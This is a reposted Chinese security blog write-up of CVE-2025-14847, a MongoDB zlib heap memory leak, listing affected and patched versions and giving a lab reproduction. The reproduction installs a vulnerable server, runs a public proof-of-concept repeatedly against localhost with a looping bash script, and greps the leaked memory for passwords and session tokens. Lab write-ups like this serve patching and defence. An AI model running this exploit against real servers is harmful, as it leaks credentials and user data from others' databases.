CVE-2025-14847

admin 2026-01-01 05:19:04 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CVE-2025-14847是MongoDBZlib压缩协议的高危堆内存信息泄露漏洞,因代码误用内存长度导致读取未初始化数据。攻击者可发送恶意包窃取敏感信息。影响4.2至8.2.2多个版本,建议立即更新至官方最新修复版本以阻断攻击。 综合评分: 88 文章分类: 漏洞分析,漏洞POC,漏洞预警,数据安全


cover_image

CVE-2025-14847

原创

新青年1号

网安小趴菜

2025年12月31日 08:30 浙江

| 漏洞概述 | | | | | — | — | — | — | | 漏洞名称 | MongoDB Zlib 压缩协议堆内存信息泄露漏洞 | | | | 漏洞编号 | CVE-2025-14847 | | | | 公开时间 | 2025-12-19 | CVSS 4.0 评分 | 8.7 | | 风险评级 | 高危 | CVSS 3.1 评分 | 7.5 | | 威胁类型 | 信息泄露 | 利用可能性 | 高 | | POC 状态 | 已公开 | 在野利用状态 | 未发现 | | EXP 状态 | 未公开 | 技术细节状态 | 未公开 |

漏洞详情

CVE-2025-14847 是 MongoDB 网络传输层中 Zlib 压缩处理的一个缺陷。在 message_compressor_zlib.cpp 中,原代码使用 output.length()返回已分配的内存大小,而非实际解压缩数据的长度。攻击者可通过快速与 MongoDB 服务器建立大量连接,发送格式错误的网络数据包,触发未初始化堆内存的读取,汇总泄露的内存数据,从而还原出敏感信息。

受影响范围

MongoDB Server 8.2.0 – 8.2.2

MongoDB Server 8.0.0 – 8.0.16

MongoDB Server 7.0.0 – 7.0.27

MongoDB Server 6.0.0 – 6.0.26

MongoDB Server 5.0.0 – 5.0.31

MongoDB Server 4.4.0 – 4.4.29

MongoDB Server 4.2.0 及以上版本

MongoDB Server 4.0.0 及以上版本

MongoDB Server 3.6.0 及以上版本

修复方案

官方已发布安全补丁,请即使更新至最新版本

MongoDB Server 8.2.* >= 8.2.3

MongoDB Server 8.0.* >= 8.0.17

MongoDB Server 7.0.* >= 7.0.28

MongoDB Server 6.0.* >= 6.0.27

MongoDB Server 5.0.* >= 5.0.32

MongoDB Server 4.4.* >= 4.4.30

漏洞复现

1、安装受影响的 MongoDB(以 8.0.16 为例)

| | | — | | # 更新软件包列表 sudo apt-get update # 安装必要工具 sudo apt-get install -y wget curl gnupg lsb-release # 导入 MongoDB 8.0 公共 GPG 密钥 curl -fsSL https://www.mongodb.org/static/pgp/server-8.0.asc | \    sudo gpg --dearmor -o /usr/share/keyrings/mongodb-server-8.0.gpg # 添加 MongoDB 8.0 仓库 echo "deb [ arch=amd64,arm64 signed-by=/usr/share/keyrings/mongodb-server-8.0.gpg ] https://repo.mongodb.org/apt/ubuntu noble/mongodb-org/8.0 multiverse" | \    sudo tee /etc/apt/sources.list.d/mongodb-org-8.0.list # 更新软件包列表 sudo apt-get update # 安装特定版本(受漏洞影响) sudo apt-get install -y \    mongodb-org=8.0.16 \    mongodb-org-database=8.0.16 \    mongodb-org-server=8.0.16 \    mongodb-org-mongos=8.0.16 \    mongodb-org-tools=8.0.16 |

2、查看默认的配置文件

| | | — | | # mongod.conf # for documentation of all options, see: #   http://docs.mongodb.org/manual/reference/configuration-options/ # Where and how to store data. storage:   dbPath: /var/lib/mongodb #  engine: #  wiredTiger: # where to write logging data. systemLog:   destination: file   logAppend: true   path: /var/log/mongodb/mongod.log # network interfaces net:   port: 27017   bindIp: 127.0.0.1 # how the process runs processManagement:   timeZoneInfo: /usr/share/zoneinfo #security: #operationProfiling: #replication: #sharding: ## Enterprise-Only Options: #auditLog: |

3、启动 MongoDB

| | | — | | # 启动 mongo sudo systemctl start mongod # 检查状态 sudo systemctl status mongod ps aux | grep mongod | grep -v grep netstat -tlnp | grep 27017 # 验证版本 mongod --version ============应该输出=========== mongod --version db version v8.0.16 Build Info: {     "version": "8.0.16",     "gitVersion": "ba70b6a13fda907977110bf46e6c8137f5de48f6",     "openSSLVersion": "OpenSSL 3.0.13 30 Jan 2024",     "modules": [],     "allocator": "tcmalloc-google",     "environment": {         "distmod": "ubuntu2404",         "distarch": "x86_64",         "target_arch": "x86_64"     } } |

4、写入一些测试数据(模拟敏感数据)

| | | — | | mongosh <<'EOF' use testdb // 清空旧数据 db.users.deleteMany({}) // 插入包含敏感信息的测试数据(模拟真实用户数据) for(let i=0; i<3000; i++) { &nbsp; db.users.insertOne({ &nbsp; &nbsp; id: i, &nbsp; &nbsp; username: "admin_user_" + i, &nbsp; &nbsp; password: "SuperSecretPassword123!@#", &nbsp;// 明文密码 &nbsp; &nbsp; email: "admin" + i + "@company.com", &nbsp; &nbsp; ssn: "123-45-" + String(6789 + i).padStart(4, '0'), &nbsp;// 社会安全号 &nbsp; &nbsp; credit_card: "4532-1234-5678-" + String(1000 + i).padStart(4, '0'), &nbsp;// 信用卡号 &nbsp; &nbsp; api_key: "sk-proj-AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ" + i, &nbsp;// API 密钥 &nbsp; &nbsp; session_token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.SECRET_SESSION_" + i, &nbsp; &nbsp; internal_note: "CONFIDENTIAL: This is highly sensitive internal data - " + i, &nbsp; &nbsp; db_connection: "mongodb://root:MyDatabasePassword456!@localhost:27017/production" &nbsp; }) } print("\n=== Data Insertion Summary ===") print("✓ Total documents inserted: " + db.users.countDocuments()) // 显示示例数据(验证插入成功) print("\n=== Sample Document ===") printjson(db.users.findOne()) EOF |

5、安装漏洞验证脚本

| | | — | | sudo apt-get install -y python3-pip git # 克隆公开的 POC cd /tmp git clone https://github.com/joe-desimone/mongobleed.git cd mongobleed # 安装 Python 依赖 pip3 install pymongo --break-system-packages |

6、验证漏洞

| | | — | | root@ip-172-31-11-87:/tmp/mongobleed# python3 mongobleed.py --host 127.0.0.1 [*] mongobleed - CVE-2025-14847 MongoDB Memory Leak [*] Author: Joe Desimone - x.com/dez_ [*] Target: 127.0.0.1:27017 [*] Scanning offsets 20-8192 [+] offset= 262 len= 289: :00\"},\"s\":\"I\", &nbsp;\"c\":\"NETWORK\", &nbsp;\"id\":22944, &nbsp; \"ctx\":\"conn11\",\"ms [+] offset=1346 len= &nbsp;54: ed transaction commit and skipped an update or updates [+] offset=1809 len= &nbsp;65: �A�]Dmtc\f�u.N@��|��VTB\u0001SI//\u001c\b\n�i#~F8/x(@\u0016V\"Zo5 [+] offset=3213 len= &nbsp;13: iled as empty [+] offset=3833 len= 102: ook 2ms, including 1ms for the log replay, 0ms for the rollback to stable, and 0 [+] offset=5900 len= &nbsp;72: ������\u001f\u0005 ������Ѡ������� ��������������\u0003������{�������ǻp [+] offset=6757 len= &nbsp;38: &nbsp;requested with cache fill ratio < 25% [*] Total leaked: 741 bytes [*] Unique fragments: 66 [*] Saved to: leaked.bin ============可以看到,内存泄露了 741 bytes=========== # 查看泄露文件 ls -lh leaked.bin # 查看十六进制数据 hexdump -C leaked.bin | head -50 ============输出如下,目前只泄露了一些连接信息:=========== 00000000 &nbsp;3a 30 30 5c 22 7d 2c 5c &nbsp;22 73 5c 22 3a 5c 22 49 &nbsp;|:00\"},\"s\":\"I| 00000010 &nbsp;5c 22 2c 20 20 5c 22 63 &nbsp;5c 22 3a 5c 22 4e 45 54 &nbsp;|\", &nbsp;\"c\":\"NET| 00000020 &nbsp;57 4f 52 4b 5c 22 2c 20 &nbsp;20 5c 22 69 64 5c 22 3a &nbsp;|WORK\", &nbsp;\"id\":| 00000030 &nbsp;32 32 39 34 34 2c 20 20 &nbsp;20 5c 22 63 74 78 5c 22 &nbsp;|22944, &nbsp; \"ctx\"| 00000040 &nbsp;3a 5c 22 63 6f 6e 6e 31 &nbsp;31 5c 22 2c 5c 22 6d 73 &nbsp;|:\"conn11\",\"ms| 00000050 &nbsp;67 5c 22 3a 5c 22 43 6f &nbsp;6e 6e 65 63 74 69 6f 6e &nbsp;|g\":\"Connection| 00000060 &nbsp;20 65 6e 64 65 64 5c 22 &nbsp;2c 5c 22 61 74 74 72 5c &nbsp;| ended\",\"attr\| 00000070 &nbsp;22 3a 7b 5c 22 72 65 6d &nbsp;6f 74 65 5c 22 3a 5c 22 &nbsp;|":{\"remote\":\"| 00000080 &nbsp;31 32 37 2e 30 2e 30 2e &nbsp;31 3a 34 37 39 31 38 5c &nbsp;|127.0.0.1:47918\| 00000090 &nbsp;22 2c 5c 22 69 73 4c 6f &nbsp;61 64 42 61 6c 61 6e 63 &nbsp;|",\"isLoadBalanc| 000000a0 &nbsp;65 64 5c 22 3a 66 61 6c &nbsp;73 65 2c 5c 22 75 75 69 &nbsp;|ed\":false,\"uui| 000000b0 &nbsp;64 5c 22 3a 7b 5c 22 75 &nbsp;75 69 64 5c 22 3a 7b 5c &nbsp;|d\":{\"uuid\":{\| 000000c0 &nbsp;22 24 75 75 69 64 5c 22 &nbsp;3a 5c 22 38 35 35 30 37 &nbsp;|"$uuid\":\"85507| 000000d0 &nbsp;31 35 34 2d 38 37 64 64 &nbsp;2d 34 61 61 37 2d 38 64 &nbsp;|154-87dd-4aa7-8d| 000000e0 &nbsp;62 31 2d 32 62 65 30 35 &nbsp;38 31 66 65 34 62 32 5c &nbsp;|b1-2be0581fe4b2\| 000000f0 &nbsp;22 7d 7d 2c 5c 22 63 6f &nbsp;6e 6e 65 63 74 69 6f 6e &nbsp;|"}},\"connection| 00000100 &nbsp;49 64 5c 22 3a 31 31 2c &nbsp;5c 22 63 6f 6e 6e 65 63 &nbsp;|Id\":11,\"connec| 00000110 &nbsp;74 69 6f 6e 43 6f 75 6e &nbsp;74 5c 22 3a 32 7d 7d 5c &nbsp;|tionCount\":2}}\| 00000120 &nbsp;6e 30 99 bc ff 51 31 e0 &nbsp;e1 bc ff 51 31 70 9c bc &nbsp;|n0...Q1....Q1p..| 00000130 &nbsp;ff 51 31 c0 b0 8a ff 51 &nbsp;31 98 c7 8a ff 51 31 18 &nbsp;|.Q1....Q1....Q1.| 00000140 &nbsp;c2 8a ff 51 31 be 8a ff &nbsp;51 31 5c 75 30 30 30 33 &nbsp;|...Q1...Q1\u0003| 00000150 &nbsp;ea ee fc fe 5c 75 30 30 &nbsp;30 34 5c 75 30 30 30 32 &nbsp;|....\u0004\u0002| 00000160 &nbsp;ce 3f 43 45 47 49 4e 54 &nbsp;56 57 6f 6e 78 82 8c 93 &nbsp;|.?CEGINTVWonx...| 00000170 &nbsp;95 9b a2 a4 b5 ba c1 c2 &nbsp;c5 d0 d1 d3 e8 74 73 72 &nbsp;|.............tsr| 00000180 &nbsp;65 64 20 74 72 61 6e 73 &nbsp;61 63 74 69 6f 6e 20 63 &nbsp;|ed transaction c| 00000190 &nbsp;6f 6d 6d 69 74 20 61 6e &nbsp;64 20 73 6b 69 70 70 65 &nbsp;|ommit and skippe| 000001a0 &nbsp;64 20 61 6e 20 75 70 64 &nbsp;61 74 65 20 6f 72 20 75 &nbsp;|d an update or u| 000001b0 &nbsp;70 64 61 74 65 73 80 41 &nbsp;80 5d 44 6d 74 63 5c 66 &nbsp;|pdates.A.]Dmtc\f| 000001c0 &nbsp;80 75 2e 4e 40 80 80 7c &nbsp;80 80 56 54 42 5c 75 30 &nbsp;|.u.N@..|..VTB\u0| 000001d0 &nbsp;30 30 31 53 49 2f 2f 5c &nbsp;75 30 30 31 63 5c 62 5c &nbsp;|001SI//\u001c\b\| 000001e0 &nbsp;6e ff 69 23 7e 46 38 2f &nbsp;78 28 40 5c 75 30 30 31 &nbsp;|n.i#~F8/x(@\u001| 000001f0 &nbsp;36 56 5c 22 5a 6f 35 36 &nbsp;69 6c 65 64 20 61 73 20 &nbsp;|6V\"Zo56iled as | 00000200 &nbsp;65 6d 70 74 79 63 6f 6f &nbsp;6b 20 32 6d 73 2c 20 69 &nbsp;|emptycook 2ms, i| 00000210 &nbsp;6e 63 6c 75 64 69 6e 67 &nbsp;20 31 6d 73 20 66 6f 72 &nbsp;|ncluding 1ms for| 00000220 &nbsp;20 74 68 65 20 6c 6f 67 &nbsp;20 72 65 70 6c 61 79 2c &nbsp;| the log replay,| 00000230 &nbsp;20 30 6d 73 20 66 6f 72 &nbsp;20 74 68 65 20 72 6f 6c &nbsp;| 0ms for the rol| 00000240 &nbsp;6c 62 61 63 6b 20 74 6f &nbsp;20 73 74 61 62 6c 65 2c &nbsp;|lback to stable,| 00000250 &nbsp;20 61 6e 64 20 30 6d 73 &nbsp;20 66 6f 72 20 74 68 65 &nbsp;| and 0ms for the| 00000260 &nbsp;20 63 68 65 63 6b 70 6f &nbsp;69 6e 74 2e 74 51 d1 4a &nbsp;| checkpoint.tQ.J| 00000270 &nbsp;b4 5a 60 66 32 69 a0 ff &nbsp;ff ff ff f8 5c 75 30 30 &nbsp;|.Z`f2i......\u00| 00000280 &nbsp;31 66 5c 75 30 30 30 35 &nbsp;20 ff ff ff ff f8 e0 d1 &nbsp;|1f\u0005 .......| 00000290 &nbsp;a0 ff ff ff ff f9 fe e7 &nbsp;20 ff ff ff ff fa c0 b3 &nbsp;|........ .......| 000002a0 &nbsp;a0 ff ff ff ff fb e8 5c &nbsp;75 30 30 30 33 a0 ff ff &nbsp;|.......\u0003...| 000002b0 &nbsp;ff ff fc 7b ab a0 ff ff &nbsp;ff ff fd c7 bb 70 ef 20 &nbsp;|...{.........p. | 000002c0 &nbsp;72 65 71 75 65 73 74 65 &nbsp;64 20 77 69 74 68 20 63 &nbsp;|requested with c| 000002d0 &nbsp;61 63 68 65 20 66 69 6c &nbsp;6c 20 72 61 74 69 6f 20 &nbsp;|ache fill ratio | 000002e0 &nbsp;3c 20 32 35 25 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;|< 25%| 000002e5 |

7、尝试获取更多泄露的数据

| | | — | | #!/bin/bash cd /tmp/mongobleed || exit 1 # 第一步:插入敏感数据(如果之前已经插入,则不需要) echo "[1/4] 插入敏感测试数据..." mongosh --quiet <<'EOF' use testdb db.users.deleteMany({}) for(let i=0; i<5000; i++) { &nbsp; db.users.insertOne({ &nbsp; &nbsp; username: "admin_user_" + i, &nbsp; &nbsp; password: "SuperSecretPassword123!@#", &nbsp; &nbsp; email: "admin" + i + "@company.com", &nbsp; &nbsp; api_key: "sk-proj-AAAABBBBCCCCDDDDEEEEFFFFGGGG" + i, &nbsp; &nbsp; session_token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.SECRET_SESSION_" + i, &nbsp; &nbsp; ssn: "123-45-6789", &nbsp; &nbsp; credit_card: "4532-1234-5678-9010", &nbsp; &nbsp; db_password: "mongodb://admin:MyDatabasePassword456!@localhost:27017/production" &nbsp; }) } print("✓ Inserted " + db.users.countDocuments() + " documents") EOF # 第二步:创建查询循环 echo "[2/4] 创建查询循环脚本..." cat > /tmp/query_loop.sh <<'INNERSCRIPT' #!/bin/bash while true; do &nbsp; mongosh --quiet testdb --eval "db.users.find().limit(500).toArray()" > /dev/null 2>&1 &nbsp; sleep 0.05 done INNERSCRIPT chmod +x /tmp/query_loop.sh # 第三步:清空旧数据 echo "[3/4] 清理旧数据..." rm -f leaked*.bin /tmp/leaked_*.bin /tmp/all_leaked.bin /tmp/all_strings.txt # 第四步:执行攻击 echo "[4/4] 开始攻击..." /tmp/query_loop.sh & QUERY_PID=$! echo " &nbsp;[+] 查询循环已启动 (PID: $QUERY_PID)" echo " &nbsp;[+] 正在让敏感数据流经网络压缩层..." sleep 3 echo "" echo " &nbsp;[+] 执行 30 次 POC 攻击..." for i in {1..30}; do &nbsp; printf " &nbsp;Run %2d/30... " $i &nbsp; python3 mongobleed.py --host 127.0.0.1 --start 0 --end 16384 2>/dev/null | grep "Total leaked" &nbsp; if [ -f leaked.bin ]; then &nbsp; &nbsp; cp leaked.bin /tmp/leaked_run_${i}.bin &nbsp; fi &nbsp; sleep 0.3 done kill $QUERY_PID 2>/dev/null echo "" echo " &nbsp;[+] 查询循环已停止" echo "" echo "========================================" echo " &nbsp; &nbsp; &nbsp; 改进版数据泄露分析" echo "========================================" # 合并所有泄露数据 cat /tmp/leaked_run_*.bin > /tmp/all_leaked.bin 2>/dev/null TOTAL_SIZE=$(wc -c < /tmp/all_leaked.bin) echo "" echo "[*] 总泄露数据量: $TOTAL_SIZE 字节" |

结果如下:

| | | — | | root@ip-172-31-11-87:/tmp/mongobleed# strings /tmp/all_leaked.bin | grep -i "admin" root@ip-172-31-11-87:/tmp/mongobleed# strings /tmp/all_leaked.bin | grep -i "pass" root@ip-172-31-11-87:/tmp/mongobleed# strings /tmp/all_leaked.bin | grep -i "secret" root@ip-172-31-11-87:/tmp/mongobleed# strings /tmp/all_leaked.bin | grep -i "user" testdb.users~5c,}D root@ip-172-31-11-87:/tmp/mongobleed# strings /tmp/all_leaked.bin | grep -E "[0-9]{3}-[0-9]{2}" :00\"},\"s\":\"I\", &nbsp;\"c\":\"NETWORK\", &nbsp;\"id\":22944, &nbsp; \"ctx\":\"conn123545\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"127.0.0.1:37878\",\"isLoadBalanced\":false,\"uuid\":{\"uuid\":{\"$uuid\":\"aade77dd-1df1-44df-9510-426783298b23\"}},\"connectionId\":123545,\"connectionCount\":2}}\n:00\"},\"s\":\"I\", &nbsp;\"c\":\"NETWORK\", &nbsp;\"id\":22944, &nbsp; \"ctx\":\"conn123572\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"127.0.0.1:38118\",\"isLoadBalanced\":false,\"uuid\":{\"uuid\":{\"$uuid\":\"751f9eab-838d-4d2e-b8bf-d11316e7e472\"}},\"connectionId\":123572,\"connectionCount\":5}}\n :00\"},\"s\":\"I\", &nbsp;\"c\":\"NETWORK\", &nbsp;\"id\":22944, &nbsp; \"ctx\":\"conn57580\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"127.0.0.1:38122\",\"isLoadBalanced\":false,\"uuid\":{\"uuid\":{\"$uuid\":\"9865c273-d5ae-4674-b238-974258aff596\"}},\"connectionId\":57580,\"connectionCount\":4}}\n0 root@ip-172-31-11-87:/tmp/mongobleed# strings /tmp/all_leaked.bin | grep "@" Q1@lasclit Q1@sersu H@~7I? tsr=M(\u001cL\u0001\u001cbG\u0002@;~\u0013\u0012$g1MOCRET_SESSION_2589Eiled as emptycapshot max: 19790 snapshot count: 0, oldest timestamp: (0, 0) , meta checkpoint timestamp: (0, 0) base write gen: 1apshot max: 19789 snapshot count: 0, oldest timestamp: (0, 0) , meta checkpoint timestamp: (0, 0) base write gen: 1 8@ed transaction commit and skipped an update or updatesrtsiled as emptyc=M(\u001cL\u0001\u001cbG\u0002@;~\u0013\u0012$gCRET_SESSION_2589 Q1@:00\"},\"s\":\"I\", &nbsp;\"c\":\"NETWORK\", &nbsp;\"id\":22944, &nbsp; \"ctx\":\"conn244977\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"127.0.0.1:34988\",\"isLoadBalanced\":false,\"uuid\":{\"uuid\":{\"$uuid\":\"3c28cf72-f5ab-4d64-a2a7-c680f8363a65\"}},\"connectionId\":244977,\"connectionCount\":4}}\n0lasclit Q1@g \u0003ItsrMO=M(\u001cL\u0001\u001cbG\u0002@;~\u0013\u0012$g1 |

可以看到,泄露的数据中包含 Session Token 片段、数据库名称等。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网安小趴菜 新青年1号《CVE-2025-14847》

CVE-2025-14847 网络安全文章

CVE-2025-14847

文章总结: CVE-2025-14847是MongoDBZlib压缩协议的高危堆内存信息泄露漏洞,因代码误用内存长度导致读取未初始化数据。攻击者可发送恶意包窃取
评论:0   参与:  0